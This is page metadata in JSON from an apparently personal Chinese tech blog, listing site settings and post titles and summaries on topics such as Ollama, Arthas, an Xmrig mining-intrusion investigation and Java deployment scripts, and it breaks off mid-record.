-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"archivePosts":{"2024-03":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""}],"2024-01":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 